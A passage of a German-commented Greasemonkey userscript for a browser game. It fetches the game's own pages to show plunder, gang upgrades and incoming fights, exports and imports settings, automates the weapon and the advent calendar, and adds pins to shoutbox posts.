    var trs = table.getElementsByTagName("tr");
    var td = trs[0].getElementsByTagName("td")[4].cloneNode(true);
    td.getElementsByTagName("span")[0].innerHTML = "Plunder";
    td.style.width = "150px";
    trs[0].appendChild(td);
    for (var i = 1; i < trs.length; i++) {
        var td = trs[i].getElementsByTagName("td")[0].cloneNode(true);
        var dist = td.getElementsByTagName("span")[0].innerHTML.trim();
        td.getElementsByTagName("span")[0].style.paddingLeft = "";
        if (mpdist.indexOf(dist) != -1)
            td.getElementsByTagName("span")[0].innerHTML = mplunder[mpdist.indexOf(dist)].join("<br>");
        else
            td.getElementsByTagName("span")[0].innerHTML = "";
        trs[i].appendChild(td);
    }
}

function getPlunderPage(callfkt) {
    if (callfkt != undefined) {
        if (plundercontent == "")
            setTimeout(getPlunderPage, 500, callfkt);
        else
            callfkt();
        return;
    }

    if (plundercontent != "")
        return;

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Plunderseite abfragen
    // **********************************************************************************
    GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL, onload:function(responseDetails) {
        // Wenn die Plunderseite abgerufen werden konnte (kein Seitenladefehler)
        if (responseDetails.responseText.indexOf('id="plunderlist"') != -1) {
            plundercontent = responseDetails.responseText;
            return;
        }
        setTimeout(getPlunderPage, 500);
    }});
}

function getGangUpgr(callfkt) {
    if (callfkt != undefined) {
        if (gangupgcontent == "")
            setTimeout(getGangUpgr, 500, callfkt);
        else
            callfkt();
        return;
    }

    if (gangupgcontent != "")
        return;

    GM_xmlhttpRequest({method:"GET", url: GANGUPGRADE_URL, onload:function(responseDetails) {
        // Wenn die Bandeneigentumseite abgerufen werden konnte (kein Seitenladefehler)
        if (responseDetails.responseText.indexOf(KEYWORD_MYBUM[lang]) != -1) {
            // Content der Bandenupgradeseite speichern
            gangupgcontent = responseDetails.responseText;
            return;
        }
        setTimeout(getGangUpgr, 500);
    }});
}

function checksum(s)
{
  var chk = 0;
  var len = s.length;
  for (var i = 0; i < len; i++) {
      chk += (s.charCodeAt(i) * (i + 1));
  }

  return chk.toString();
}

var doTheAction = function () {
    // Aktuellen Geldstand ermitteln
    aktMoney = GetMoney(document);

    for (i = 0; i < 9; i++)
        glblVars[i] = 0;
    glblVars[9] = "";
    glblVars[10] = "";

    GM_registerMenuCommand(THISSCRIPTNAME[myLang] + ": alle Einstellungen exportieren", function (event) {
        var vars = "Script§" + THISSCRIPTNAME;
        var gm_vars = GM_listValues();
        var deleted = 0;
        var count = 0;
        for (var i = 0; i < gm_vars.length; i++) {
            if (gm_vars.indexOf(gm_vars[i]) < i)
                continue;
            if (gm_vars[i].indexOf("winnings") != -1 || gm_vars[i] == "") {
                GM_deleteValue(gm_vars[i]);
                deleted++;
                continue;
            }
            var val = GM_getValue(gm_vars[i], "xyzundefinedzyx");
            if (val == "xyzundefinedzyx")
                continue;
            if (gm_vars[i].length > 50)
                if (confirm("Variable löschen: " + gm_vars[i])) {
                    GM_deleteValue(gm_vars[i]);
                    deleted++;
                    continue;
                }
            if (typeof(val) == "number")
                val = "N" + val;
            else if (typeof(val) == "boolean")
                val = "B" + (val?1:0);
            else if (typeof(val) == "string") {
                if (!isNaN(val))
                    val = "N" + val;
                else if (val.indexOf("§") != -1)
                    break;
                else
                    val = "S" + val.replace(String.fromCharCode(0), "");
            }
            else {
                break;
            }
            vars += "§" + gm_vars[i] + "§" + val;
            count++;
        }
        if (i < gm_vars.length)
            alert('Export wegen Fehler abgebrochen');
        else {
            vars += "§" + checksum(vars);
            GM_setClipboard(vars);
            if (deleted > 0)
                alert (count + " Variablen in Zwischenablage exportiert, " + deleted + " Variablen gelöscht.");
            else
                alert (count + " Variablen in Zwischenablage exportiert");
        }
        return;
    });
    GM_registerMenuCommand(THISSCRIPTNAME[myLang] + ": alle Einstellungen importieren", function (event) {
        var vars = prompt("Eingabe: ");
        var i = vars.lastIndexOf("§");
        var chksum = vars.substr(i+1);
        vars = vars.substr(0, i);
        if (chksum != checksum(vars)) {
            alert("Importstring ist fehlerhaft. Kein Import möglich.");
            return;
        }
        var gmvars = vars.split("§");

        if (gmvars[0] != "Script" || gmvars[1] != THISSCRIPTNAME) {
            alert("Eingabe ungültig!!");
            return;
        }
        var gm_vars = GM_listValues();
        for (var i = 0; i < gm_vars.length; i++)
            GM_deleteValue(gm_vars[i]);
        var count = 0;
        for (var i = 2; i < gmvars.length; i+=2) {
            var val = gmvars[i+1];
            if (val.substr(0, 1) == "N")
                val = Number(val.substr(1));
            else if (val.substr(0, 1) == "B")
                val = val.substr(1) == "1";
            else if (val.substr(0, 1) == "S")
                val = val.substr(1);
            else {
                alert("Fehler bei " + gmvars[i] + ": " + val);
                continue;
            }
            GM_setValue(gmvars[i], val);
            count++;
        }
        alert(count + " Variablen importiert.");
        return;
    });

    if (location.toString().indexOf(WEAPON_URL) != -1) {
        weapon = PGu_getValue("weapon", 0) + "#";
        weapon = weapon.split("#");
        if (weapon[0] > 0) {
            var td = document.getElementsByName("submitForm");
            if (td.length > 1) {
                var dis = -1;
                var ena = -1;
                for (i = 0; i < td.length; i++) {
                    if (td[i].disabled)
                        dis = i;
                    else if (document.getElementsByName("id")[i].value == weapon[0])
                        ena = i;
                    if (dis != -1 && ena != -1)
                        break;
                }
                if (dis >= 0 && ena >= 0) {
                    td[ena].disabled = true;
                    td[dis].disabled = false;
                    var swap = td[dis].value;
                    td[dis].value = td[ena].value;
                    td[ena].value = swap;
                }
            }

            GM_xmlhttpRequest({method: 'POST', url: WEAPON_URL + "use/",
                headers: {'Content-type': 'application/x-www-form-urlencoded'},
                data: encodeURI('id='+weapon[0]),
                onload: function(responseDetails) {
                    PGu_setValue("weapon", 0);
                    window.location.href = location.toString();
                }});
            return;
        }
    }
    else if (IsOverviewPage() && PGu_getValue("weapon", "0") != "0") {
        weapon = PGu_getValue("weapon", 0).split("#");
        var wtd = document.getElementsByClassName("double")[0];
        var img = wtd.getElementsByTagName("div")[0].getElementsByTagName("img")[0];
        var newtd = img.cloneNode(true);
        newtd.src = weapon[2];
        img.parentNode.appendChild(newtd);
        img.parentNode.removeChild(img);
        wtd.getElementsByTagName("ul")[0].getElementsByTagName("li")[0].innerHTML = weapon[1];
        wtd.getElementsByTagName("ul")[0].getElementsByTagName("li")[1].getElementsByTagName("span")[0].innerHTML = weapon[3];
    }

    var xmaskal = false;
    var ads = document.getElementsByTagName("img");
    for (var i = ads.length - 1; i >= 0; i--) {
        if (ads[i].src.indexOf('XmasAdventCalendar') != -1 || ads[i].src.indexOf('adventskalender') != -1) {
            ads[i].addEventListener('click', function(event) {
                if (event.shiftKey != 0) {
                    if (PGu_getValue("noXmasInfo", 0) != 0) {
                        PGu_setValue("noXmasInfo", 0);
                    }
                    else {
                        var now = new Date();
                        PGu_setValue("noXmasInfo", (Number(now)+24*86400000).toString());
                    }
                }
            }, false);
            xmaskal = true;
        }
    }

    if (!xmaskal)
        xmaskal = (now.getMonth() == 11 && now.getDate() <= 24);

    if (xmaskal && PGu_getValue("noXmasInfo", 0) <= Number(now)) {
        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Adventskalender abfragen
        // **********************************************************************************
        GM_xmlhttpRequest({method:"GET", url: TOWNBASE_URL+'event/xmas/advent/', onload:function(responseDetails) {
            var content = responseDetails.responseText;
            if (content.indexOf('/event/xmas/get/') != -1) {
                var xmasget = content.split('/event/xmas/get/');
                var found = false;
                for (var j = 0; j < xmasget.length; j++)
                    if (xmasget[j].split('img src')[1].indexOf('adventskalender_on') != -1) {
                        if (true /*confirm('Adventskalendertürchen jetzt öffnen ?')*/ ) {
                            window.setTimeout("window.location.href = window.location.protocol + '//' + window.location.host + '/event/xmas/get/'", 500);
                        }
                        else if (confirm('Ans Adventskalendertürchen öffnen dieses Jahr nicht mehr erinnern ?')) {
                            var now = new Date();
                            PGu_setValue("noXmasInfo", (Number(now)+24*86400000).toString());
                        }
                        else {
                            var now = new Date();
                            PGu_setValue("noXmasInfo", (Math.floor((Number(now)/86400000)+1)*86400000).toString());
                            alert ("Vergiß nicht, das Türchen heute selbst zu öffnen!!");
                        }
                        found = true;
                        break;
                    }
                if (!found) {
                    var now = new Date();
                    PGu_setValue("noXmasInfo", (Math.floor((Number(now)/86400000)+1)*86400000).toString());
                }
            }
            else {
                var now = new Date();
                PGu_setValue("noXmasInfo", (Math.floor((Number(now)/86400000)+1)*86400000).toString());
            }
        }});
    }

    var removeAds = GM_getValue("removeAds", 0);
    GM_setValue("removeAds", removeAds);
    if (removeAds)
        removeAllAds();

    if (location.toString().endsWith('daily/'))
        PGu_setValue("lockDA", "0");
    inGangStatus = PGu_getValue("inGang", "0");

    var ava2 = document.getElementsByClassName("avatar_img");
    if (ava2.length > 0) {
        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Profilseite abfragen
        // **********************************************************************************
        GM_xmlhttpRequest({method:"GET", url: TOWNBASE_URL+'profil/id:'+m_ownuserid+'/', onload:function(responseDetails) {
            var content = responseDetails.responseText;
            if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                var doc = HTML2DOM(content);
                var row1 = doc.getElementsByClassName("profil_tabelle")[0].getElementsByTagName("tr")[0];
                var ava = row1.getElementsByTagName("div")[0];
                if (ava.innerHTML.indexOf('/avatare/') == -1)
                    return;
                if (ava.innerHTML.indexOf('class="avatar"') == -1) {
                    var ava2 = document.getElementsByClassName("avatar_img");
                    if (ava2.length > 0)
                        ava2[0].innerHTML = ava.innerHTML;
                }
            }
        }
        });
    }

    getPlunderPage(function() {
        // Anzahl der Plundertabs ermitteln
        if (!oldVersion) {
            var doc = HTML2DOM(plundercontent);
            nrOfTabs = doc.getElementsByClassName("plundertab")[0].getElementsByTagName("li").length;
        }

        if (nrOfTabs <= 1 || nrOfTabs >= 8 || nrOfTabs == 5) {
            alert("Aufgrund einer Änderung im Design des Spiels bleibt die Infozentrale bis zum nächsten Update abgeschaltet");
            return;
        }

        bgrndInd = nrOfTabs >= 6?0:1;
        if (nrOfTabs < 6)
            ajaxcode = "c";
        else if (ajaxcode == "rc")
            bgrndInd = 1;

        // Hintergrundgrafiken anzeigen
        ShowBackgrounds(bgrndInd, -1);

        getGangUpgr(function() {
            // Wenn eine Bande vorhanden ist
            if (gangupgcontent.indexOf(KEYWORD_GANGUPGR[lang]) != -1) {
                var doc = HTML2DOM(gangupgcontent);
                var abilities = doc.getElementsByClassName("fixheight");
                var abCnt = abilities.length;
                if (abilities[abCnt-2].getElementsByTagName('td')[1].innerHTML.indexOf('1/1') != -1)
                    WiWut = 1;
                else if (abilities[abCnt-1].getElementsByTagName('td')[1].innerHTML.indexOf('1/1') != -1)
                    WiWut = 2;
                // Waffenkammer und Bandenhaus ermitteln
                glblVars[7] = 1 + Number(abilities[1].getElementsByTagName('td')[1].innerHTML.split('(')[1].split('%')[0]) / 100;
                glblVars[8] = 1 + Number(abilities[2].getElementsByTagName('td')[1].innerHTML.split('(')[1].split('%')[0]) / 100;
                m_owngangid = gangupgcontent.split('/profil/bande:')[1].split('/')[0];
                glblVars[15] = m_owngangid;
            }
            else {
                PGu_setValue("inGang", "0");
                glblVars[15] = 0;
                if (inGangStatus == 1)
                    alert(getLangTxt(TxtAlertNoGang));
            }

            ShowBackgrounds(bgrndInd, m_owngangid);
            if (WiWut == 1)
                ShowImg('', '', get_icon("plndwutpowerback")[bgrndInd], '', 123, 52, PB_X, PB_Y, '', 'PBBACK');
            else if (WiWut == 2)
                ShowImg('', '', get_icon("plndwiwupowerback")[bgrndInd], '', 123, 52, PB_X, PB_Y, '', 'PBBACK');
            else
                ShowImg('', '', get_icon("plndgangpowerback")[bgrndInd], '', 123, 52, PB_X, PB_Y, '', 'PBBACK');

            // Aktuellen Plunder ermitteln und anzeigen
            GetCurrentPlunder(plundercontent);

            CheckBetterEquip();

            // falls vorhanden, Benachrichtigung über neue Nachrichten verschieben
            var myprof = document.getElementById("my-profile-new");
            if (!myprof)
                myprof = document.getElementById("my-profile");
            if (myprof.getElementsByTagName("div")[2].innerHTML.indexOf("new_msg_infoscreen") != -1)
                myprof.getElementsByTagName("div")[2].setAttribute('style', 'left: '+(nrOfTabs<6?12:40)+'px; bottom: 45px');

            // ***********************************************************************************************
            // Promille- und Waschleiste
            // ***********************************************************************************************
            // Wasch-Icon einfügen
            var curElem = ShowImg('PWBACK', '', noWash?get_icon("redc"):get_icon("wash"), getLangTxt(noWash?TxtLife:TxtWash), '', '', 80, 20, 3, 'infozentrale_wash');
            if (curElem == null)
                return;
            WashHandler(curElem);

            curElem = ShowImg('PWBACK', '', get_icon("promilleup"), getLangTxt(TxtPromUp), '', '', 9, 20, 3, 'infozentrale_promilleup');
            if (curElem == null)
                return;
            PromilleUpHandler(curElem);
            curElem = ShowImg('PWBACK', '', get_icon("promilledown"), getLangTxt(TxtPromDown), '', '', 38, 20, 3, 'infozentrale_promilledown');
            if (curElem == null)
                return;
            PromilleDownHandler(curElem);

            FeedbackHandler('PW');
            FeedbackHandler('SC');
            FeedbackHandler('PB');
            FeedbackHandler('MI');
            FeedbackHandler('PD');

            AutoDefWeapon();

            // **********************************************************************************
            // Bandenprofillinks beim Bandenkampf in Links umwandeln
            // **********************************************************************************
            // Wenn die aktuelle Seite die Bandenkampf-Übersichtsseite ist
            if (IsFightOverviewPage()) {
                // Ermitteln der Tabelle Bandenkampfübersicht
                var gangtable = document.getElementById("content").getElementsByTagName("table")[1];
                // Ermitteln der Zeilen der Tabelle Bandenkampfübersicht
                var gangtrs = gangtable.getElementsByTagName("tr");

                // Für jede Zeile (ohne erste Zeile = Überschrift)
                for (i = 1; i < gangtrs.length; i++) {
                    // Ermitteln der Banden-ID und Ersetzen des textuellen Bandennamens durch den Link auf das Bandenprofil
                    if (gangtrs[i].innerHTML.indexOf("id=") == -1)
                        break;
                    if (gangtrs[i].getElementsByTagName("td")[0].innerHTML.substr(0, 4) != "<div")
                        LinkifyGangnames(gangtrs[i]);
                }
            }
        });

        // Anzahl ausgewählter Plunderstücke ermitteln
        var NrOfPlunder = GetNrOfPlunderInList();

        // Wenn mindestens ein Plunderstück ausgewählt wurde
        if (NrOfPlunder > 0) {
            // Gesamten Inhalt des Bodies zum Parsen des vorhandenen Plunders und der Zugriffs-IDs und Darstellen der Icons
            ShowAllPlunder(plundercontent, NrOfPlunder, 0, 0);
        // sonst: Es wurde noch kein Plunderstück ausgewählt
        } else {
            ShowImg('PDBACK', PLUNDER_URL, get_icon("plunderfree"), getLangTxt(TOOLTIP_PLUNDERAUSWAHL), '', '', 2, 20, 1, 'AddPlunderIcon');
        }

        CheckCrafts();

        CheckCraftDetails();

        if (location.toString().endsWith("/city/district/") && inGangStatus == 1)
            window.setTimeout(insertPlunderIntoDistrict, 1000);

        if (location.toString().endsWith("/gang/stuff/upgrades/")) {
            function showExistPlunder(allplunder) {
                var trs = allplunder.split("<tr ");
                var plunderNames = new Array();
                var plunderAnz = new Array();
                for (var i = 1; i < trs.length; i++) {
                    var plunder = trs[i].split("<a ")[1].split("</a>")[0];
                    plunderNames.push(plunder.split("<strong")[1].split(">")[1].split("<")[0].trim());
                    plunderAnz.push(plunder.split("<span")[1].split(">")[1].match(/\d+/))[0];
                }
                var skb = document.getElementsByClassName("skill_block");
                for (var i = 0; i < skb.length; i++) {
                    var req = skb[i].getElementsByClassName("required_skills")[0].innerHTML;
                    var plunder = req.split("<br>");
                    for (var j = 0; j < plunder.length - 1; j++) {
                        var pl = plunder[j].split("<span ")[0];
                        var plAnz = pl.match(/\d+/);
                        var plName = pl.replace(plAnz, "").trim();
                        var index = plunderNames.indexOf(plName);
                        if (index == -1)
                            plAnz = 0;
                        else
                            plAnz = plunderAnz[index];
                        plunder[j] += '<span style="color: green;">(' + plAnz + ')</span>';
                    }
                    skb[i].getElementsByClassName("required_skills")[0].innerHTML = plunder.join("<br>");
                }
            }
            GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL + (oldVersion ? "" : "ajax/?"+ajaxcode+"=1"), onload:function(responseDetails) {
                var allplunder = responseDetails.responseText;
                if (nrOfTabs > 5)
                    GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL + (oldVersion ? "" : "ajax/?"+ajaxcode+"=6"), onload:function(responseDetails) {
                        allplunder += responseDetails.responseText;
                        showExistPlunder(allplunder);
                    }});
                else
                    showExistPlunder(allplunder);
            }});
        }

        // **********************************************************************************
        // Icon für Löschen der Kampfliste hinzufügen
        // **********************************************************************************
        // Wenn die aktuelle Seite die Übersichtseite ist
        if (IsOverviewPage()) {
            var summary = document.getElementById("summary");
            var divs = summary.getElementsByTagName("div");
            if (divs[0].className == "new_msg") {
                var aElem = divs[0].getElementsByTagName("a");
                for (i = 0; i < aElem.length; i++) {
                    if (aElem[i].innerHTML.indexOf("fightinfo.gif") != -1) {
                        var newElem = divs[0].appendChild(document.createElement('a'));
                        var newimg = newElem.appendChild(document.createElement('img'));
                        newimg.setAttribute('border', '0');
                        newimg.setAttribute('height', 13);
                        newimg.setAttribute('width', 10);
                        newimg.setAttribute('style', 'cursor:pointer');
                        newimg.setAttribute('src', getIconAddr(get_icon("delfightlist")));
                        newElem.addEventListener('click', function(event) {
                                GM_xmlhttpRequest({method: 'GET', url: TOWNBASE_URL + "/fight/list/clear/",onload: function(responseDetails) {
                                    refreshPage();
                                    }
                                });
                            },false);
                    }
                }
            }
        }

        // **********************************************************************************
        // Shoutbox auf Bandenseite auswerten
        // **********************************************************************************
        // Wenn die aktuelle Seite die Bandenseite ist
        var gangPage = Number(IsGangPage());
        if (gangPage > 0) {
            var makePinsTO = function() {
                function makePins(table) {
                    function processSBPages(page, pinnedSB, lastSB) {
                        GM_xmlhttpRequest({method: 'GET', url: GANG_URL + (oldVersion?page+"/":"shoutbox_ajax/?page=" + page),onload: function(responseDetails) {
                            // Wenn die Bandenseite abgerufen werden konnte
                            if (responseDetails.status != 200 ||
                                responseDetails.responseText.indexOf('500 - Internal Server Error') != -1) {
                                ProcessSBPages(page, pinnedSB, lastSB);
                                return;
                            }

                            var content = responseDetails.responseText;
                            var pos = content.indexOf('<span style="color:#8888');
                            if (pos < 0)
                                return;
                            pos = content.indexOf(" href='/profil", pos-150);
                            var first = true;
                            while (pos != -1) {
                                var name = trimString(content.substr(pos).split("</a>")[0].split('>').pop());
                                var id = content.substr(pos).split(" href='/profil/id:")[1].split('/')[0];
                                pos = content.indexOf('<span style="color:#8888', pos);
                                var post = content.substr(pos).split(">")[1].split('<')[0];
                                var ppos = post.indexOf(":");
                                var datetime = post.substr(ppos-6,2) + post.substr(ppos-9,2) + post.substr(ppos-2,2) + post.substr(ppos+1,2);
                                var sb = id + "_" + datetime;
                                var pinThis = (sb == pinnedSB);
                                if (!pinThis && datetime < pinnedSB.split("_")[1] && lastSB.split("_")[1] >= pinnedSB.split("_")[1]) {
                                    if (first) page--;
                                    if (document.getElementsByName(lastSB).length > 0)
                                        document.getElementsByName(lastSB)[0].src = getIconAddr(get_icon("pin2"));
                                    pinThis = true;
                                }
                                if (pinThis && document.getElementById("gotoSB")) {
                                    document.getElementById("gotoSB").addEventListener("click", function(event)  {
                                        if (oldVersion)
                                            window.location.href = "/gang/" + page + "/";
                                        PGu_setValue("pinnedSBGo", "1");
                                    }, false);
                                    if (document.getElementById("gotoSB3"))
                                        document.getElementById("gotoSB3").href = "javascript:shoutbox_ajax.loadajaxpage('/gang/shoutbox_ajax/?page="+page+"')";
                                    document.getElementById("gotoSB").width = "10";
                                    document.getElementById("gotoSB").title = printf(getLangTxt(TxtNoteOnPage), page);
                                    return;
                                }
                                lastSB = sb;
                                if (oldVersion)
                                    pos = content.indexOf('</table', pos);
                                else {
                                    pos = content.indexOf('</div', pos);
                                    pos = content.indexOf('</div', pos+5);
                                }
                                pos = content.indexOf(" href='/profil", pos);
                                first = false;
                            }
                            processSBPages(page+1, pinnedSB, lastSB);
                        }
                        });
                    }
                    var trs = table.getElementsByTagName("tr");
                    var obj = document.getElementById("tabcontainer");
                    if (PG_getValue("SetSBwidth", 0) == 1 && obj != null)
                        obj.style.width = PG_getValue("MySBwidth", "800") + 'px';
                    if (oldVersion) {
                        for (var i = 0; i < trs.length; i++) {
                            obj = trs[i];
                            if (obj.innerHTML.indexOf('<span style="color: rgb(136') != -1 || obj.innerHTML.indexOf('<span style="color:#88') != -1)
                                break;
                        }
                        var pagetr = trs[i];
                        var pos = pagetr.innerHTML.indexOf('<a href="/gang/1/');
                        var insText = "";
                        var insText2 = "&nbsp;";
                    } else {
                        var pagetr = trs[trs.length-2];
                        var pagetr = trs[trs.length-2].getElementsByClassName("pagebar")[0];
                        if (pagetr.innerHTML.indexOf("gotoSB3") > 0)
                            return;
                        var pos = pagetr.innerHTML.indexOf('<a href="javascript:shoutbox_ajax');
                        var insText = '<div id="gotoSB2" class="pagebutton"><a id="gotoSB3" rel="shoutboxtab" href="javascript:shoutbox_ajax.loadajaxpage(\'/gang/shoutbox_ajax/?page=1\')">';
                        var insText2 = "</div>";
                    }
                    if (pos > 0)
                        pagetr.innerHTML = pagetr.innerHTML.substr(0, pos) + insText +
                        '<img id="gotoSB" width="0" height="15" style="cursor:pointer" src="' + getIconAddr(get_icon("pin2")) + '"></img>' +
                        insText2 + pagetr.innerHTML.substr(pos);
                    if (obj.innerHTML.indexOf('<span style="color: rgb(136') != -1 || obj.innerHTML.indexOf('<span style="color:#88') != -1) {
                        var text = obj.innerHTML;
                        var pos = text.indexOf(' href="/profil');
                        var sbnr = 0;
                        var pinnedSB = PGu_getValue("pinnedSB", "");
                        var pinnedOnPage = false;
                        var lastSB = "";
                        var oldPos = -1;
                        var searchEnd = '</table';
                        if (document.getElementById("tabcontainer") != null)
                           searchEnd = '</div';
                        var first = true;
                        while (pos != -1) {
                            var name = trimString(text.substr(pos).split("</a>")[0].split('>').pop());
                            var id = text.substr(pos).split(' href="/profil/id:')[1].split('/')[0];
                            var pos2 = text.indexOf('<span style="color: rgb(136', pos);
                            if (pos2 < 0) {
                                pos2 = text.indexOf('<span style="color:#88', pos);
                                if (pos2 < 0)
                                    break;
                            }
                            pos = pos2;
                            var post = text.substr(pos).split(">")[1].split('<')[0];
                            sbnr++;
                            var ppos = post.indexOf(":");
                            var datetime = post.substr(ppos-6,2) + post.substr(ppos-9,2) + post.substr(ppos-2,2) + post.substr(ppos+1,2);
                            var sb = id + "_" + datetime;
                            var pinThis = (sb == pinnedSB);
                            var oldLen = text.length;
                            if (pinThis)
                                pinnedOnPage = true;
                            else if (!pinnedOnPage && datetime < pinnedSB.split("_")[1] && lastSB.split("_")[1] >= pinnedSB.split("_")[1]) {
                                pinnedOnPage = true;
                                text = text.substr(0,oldPos) + text.substr(oldPos).replace(getIconAddr(get_icon("pin")), getIconAddr(get_icon("pin2")));
                            }
                            lastSB = sb;
                            oldPos = text.indexOf("<", pos+1);
                            text = text.substr(0,oldPos) + '<input type="hidden" id="' + sb + '" value=""><img id="pin' + sbnr + '" width="10" height="10" src="' + getIconAddr(pinThis&&first?get_icon("pin2"):get_icon("pin")) + '" style="cursor:pointer" name="' + sb +'"></img>&nbsp;&nbsp;' + text.substr(oldPos);
                            if (pinThis)
                                first = false;
                            pos += text.length - oldLen;
                            pos = text.indexOf(searchEnd, pos);
                            if (!oldVersion)
                                pos = text.indexOf(searchEnd, pos+5);
                            pos = text.indexOf(' href="/profil', pos);
                        }
                        obj.innerHTML = text;
                        if (pinnedOnPage) {
                            if (PGu_getValue("pinnedSBGo", "0") == "1") {
                                PGu_setValue("pinnedSBGo", "0");
                                document.getElementById(pinnedSB).type="button";
                                document.getElementById(pinnedSB).focus();
                                document.getElementById(pinnedSB).type="hidden";
                                window.scrollBy(0,200);
                            }
                        } else if (pinnedSB != "") {
                            var gangPage = Number(IsGangPage());
                            if (gangPage == 1)
                                var page = 2;
                            else if (lastSB.split("_")[1] < pinnedSB.split("_")[1]) {
                                lastSB = "";
                                var page = 1;
                            }
                            else
                                var page = gangPage + 1;
                            processSBPages(page, pinnedSB, lastSB);
                        }
                        for (var j=1; true; j++) {
                            var img = document.getElementById("pin" + j);
                            if (img == null)
                                break;
                            img.addEventListener("click", function(event)  {
                                if (this.src == getIconAddr(get_icon("pin"))) {
                                    var pinnedSB = PGu_getValue("pinnedSB", "");
                                    PGu_setValue("pinnedSB", this.name);
                                    if (pinnedSB != "") {
                                        if (document.getElementsByName(pinnedSB).length > 0)
                                            document.getElementsByName(pinnedSB)[0].src = getIconAddr(get_icon("pin"));
                                        var gotoSB = document.getElementById("gotoSB");
                                        if (gotoSB)
                                            gotoSB.parentNode.removeChild(gotoSB);
                                        if (!oldVersion) {
                                            var gotoSB2 = document.getElementById("gotoSB2");
                                            if (gotoSB2)
                                                gotoSB2.parentNode.removeChild(gotoSB2);
                                            var gotoSB3 = document.getElementById("gotoSB3");
                                            if (gotoSB3)
                                                gotoSB3.parentNode.removeChild(gotoSB3);
                                        }
                                    }
                                    this.src = getIconAddr(get_icon("pin2"));
                                } else {
                                    this.src = getIconAddr(get_icon("pin"));
                                    PGu_setValue("pinnedSB", "");
                                }
                            }, false);
                        }
                    }
                }
                if (t > 0)
                    window.setTimeout(makePinsTO, t);
                if (Number(IsGangPage()) < 1)
                    return;

                if (PG_getValue("SetSBwidth", 0) == 0)
                    var table = document.getElementById("content").getElementsByTagName("table")[0];
                else
                    var table = document.getElementById("MotD");
                var tdtest = document.getElementById("shoutboxtab");
                var selectd = true;
                if (tdtest.getElementsByTagName("li").length > 1)
                    selectd = tdtest.getElementsByTagName("a")[0].className == "selected";
                if (selectd)
                    if ((table.innerHTML.indexOf('<span style="color:#88') != -1 || table.innerHTML.indexOf('<span style="color: rgb(136') != -1) && table.innerHTML.indexOf(getIconAddr(get_icon("pin"))) == -1 && table.innerHTML.indexOf(getIconAddr(get_icon("pin2"))) == -1) {
                        makePins(table);
                    }
            }

            if (PG_getValue("SetSBwidth", 0) == 1) {
                var sbwidth = PG_getValue("MySBwidth", "800");
                var table = document.getElementsByTagName("table")[0];
                table.parentNode.insertBefore(table.cloneNode(false), table);
                for (i = 0; i < table.getElementsByTagName("tr").length; i++) {
                   var tr = table.getElementsByTagName("tr")[0];
                   if (tr.innerHTML.indexOf("MotD") != -1)
                       break;
                   tr = tr.parentNode.removeChild(tr);
                   document.getElementsByTagName("table")[0].appendChild(tr);
                }
                table.style.width = sbwidth + 'px';
                table.id = 'MotD';
                for (i = 0;  i < table.getElementsByTagName("div").length; i++) {
                    var width = parseInt(table.getElementsByTagName("div")[i].style.width);
                    if (width == 490 ||
                        table.getElementsByTagName("div")[i].id == "tabcontainer" ||
                        table.getElementsByTagName("div")[i].className == "pagebar" ||
                        table.getElementsByTagName("div")[i].id == "tabinputcontainer")
                       table.getElementsByTagName("div")[i].style.width = (width - 510 + sbwidth) + 'px';
                }
            }
            else {
                PG_setValue("SetSBwidth", 0);
                if (PG_getValue("MySBwidth", 0) == 0)
                    PG_setValue("MySBwidth", 800);
            }

            var t = (oldVersion?0:2000);
            makePinsTO();
        }

        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abfragen, ob es einen eingehenden KAMPF gibt
        // **********************************************************************************
        GM_xmlhttpRequest({method: 'GET', url: FIGHT_URL, onload: function(responseDetails) {
                // ***********************************************************************************************
                // ***********************************************************************************************
                // Array nach Zeit sortieren
                // ***********************************************************************************************
                // ***********************************************************************************************
                function sortByTime(a, b) {

                    // ***********************************************************************************************
                    // Funktion addiert auf Stunden des Folgetags 24 Stunden, damit die Sortierreihenfolge passt
                    // ***********************************************************************************************
                    function ReformatHours(nowtime, a) {
                        // Wenn die Jetztzeit kleiner (früher) ist als die übergebene Zeit ist
                        if (nowtime <= a) {
                            return a;
                        // sonst: Die Jetztzeit ist größer (später) als die übergebene Zeit --> Datumsgrenze
                        } else {
                            // 24 Stunden addieren, damit das Datum nach hinten sortiert wird (Folgetag)
                            return (Number(a.substr(0, 2)) + 24).toString() + a.substr(2, 6);
                        }
                    }

                    if (a.length == 0 || b.length == 0)
                        return (a.length != 0)?-1:(b.length != 0)?1:0;

                    var jetzt = new Date();
                    var nowtime = Right$(jetzt.toLocaleString(), 8);

                    var x = ReformatHours(nowtime, a[0]);
                    var y = ReformatHours(nowtime, b[0]);

                    return ((x < y) ? (-1) : ((x > y) ? 1 : 0));
                }
                var ckw = function() {
                    if (weaponatt > 1) {
                        weaponatt = 0;
                        PGu_setValue("weapon", weapondef);
                        GM_xmlhttpRequest({method: 'POST', url: WEAPONSTORE_URL + "buy/",
                            headers: {'Content-type': 'application/x-www-form-urlencoded'},
                            data: encodeURI('id=1'),
                            onload: function(responseDetails) {
                            }});
                    }
                    else if (weaponatt = -1)
                        setTimeout(ckw, 1000);
                }

                var content = responseDetails.responseText;

                getGangUpgr(function() {
                    // Wenn die Kampfseite abgerufen werden konnte (kein Seitenladefehler)
                    if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                        if (content.indexOf(TxtRunAttack[lang]) != -1) {
                            attname = trimString(content.split(TxtRunAttack[lang])[1].split('</a>')[0].split('>').pop());
                            attid = content.split(TxtRunAttack[lang])[1].split('profil/id:')[1].split('/')[0];
                            if (bl("fi"))
                               if (weaponatt > 1)
                                   ckw();
                               else if (weaponatt == -1)
                                   setTimeout(ckw, 5000);
                            // ***********************************************************************************************
                            // Abrufen des XML-Datensatzes für den angegriffenen User
                            // ***********************************************************************************************
                            GM_xmlhttpRequest({method: 'GET', url: API_URL + attid + ".xml", onload: function(responseDetails) {
                                // Wenn die Seite erfolgreich abgerufen werden konnte
                                if (responseDetails.status == 200) {
                                    var parser = new DOMParser();
                                    var dom = parser.parseFromString(responseDetails.responseText, "application/xml");
                                    gangname = dom.getElementsByTagName('name')[1].textContent;
                                    if (gangname.toLowerCase() != 'false') {
